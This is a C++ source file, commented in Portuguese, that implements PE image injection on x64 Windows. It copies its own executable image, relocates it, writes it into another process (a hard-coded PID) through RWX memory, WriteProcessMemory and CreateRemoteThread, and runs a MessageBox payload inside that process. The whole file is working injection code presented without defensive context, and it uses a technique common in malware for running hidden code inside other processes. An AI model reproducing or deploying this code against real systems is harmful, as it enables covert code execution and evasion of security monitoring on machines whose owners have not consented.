[C++] - PEInjection - X64

peinjection.cpp:

#include <stdio.h>

#include <Windows.h>

typedef struct BASE_RELOCATION_ENTRY {

    USHORT Offset : 12;

    USHORT Type : 4;

} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

DWORD InjectionEntryPoint()

{

    CHAR moduleName[128] = "";

    GetModuleFileNameA(NULL, moduleName, sizeof(moduleName));

    MessageBoxA(NULL, moduleName, "Injected", NULL);

    return 0;

}

int main()

{

    // pega o endereço base da imagem atual

    PVOID imageBase = GetModuleHandle(NULL);

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;

    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);

    // Aloca um novo bloco de memória e copia a imagem PE atual para este novo bloco de memória

    PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);

    memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);

    // Abra o processo de destino, este é o processo no qual estaremos injetando este PE

    HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, 808);

    // Aloque um novo bloco de memória no processo de destino. É aqui que iremos injetar este PE

    PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // Calcule o delta entre os endereços de onde a imagem estará localizada no processo de destino e onde ela está localizada atualmente

    DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;

    // Realoque localImage, para garantir que ele tenha endereços corretos quando estiver no processo de destino

    PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

    DWORD relocationEntriesCount = 0;

    PDWORD_PTR patchedAddress;

    PBASE_RELOCATION_ENTRY relocationRVA = NULL;

    while (relocationTable->SizeOfBlock > 0)

    {

        relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);

        relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);

        for (short i = 0; i < relocationEntriesCount; i++)

        {

            if (relocationRVA[i].Offset)

            {

                patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);

                *patchedAddress += deltaImageBase;

            }

        }

        relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);

    }

    // Grave o localImage realocado no processo de destino

    WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL);

    // Inicie o PE injetado dentro do processo de destino

    CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + deltaImageBase), NULL, 0, NULL);

    return 0;

}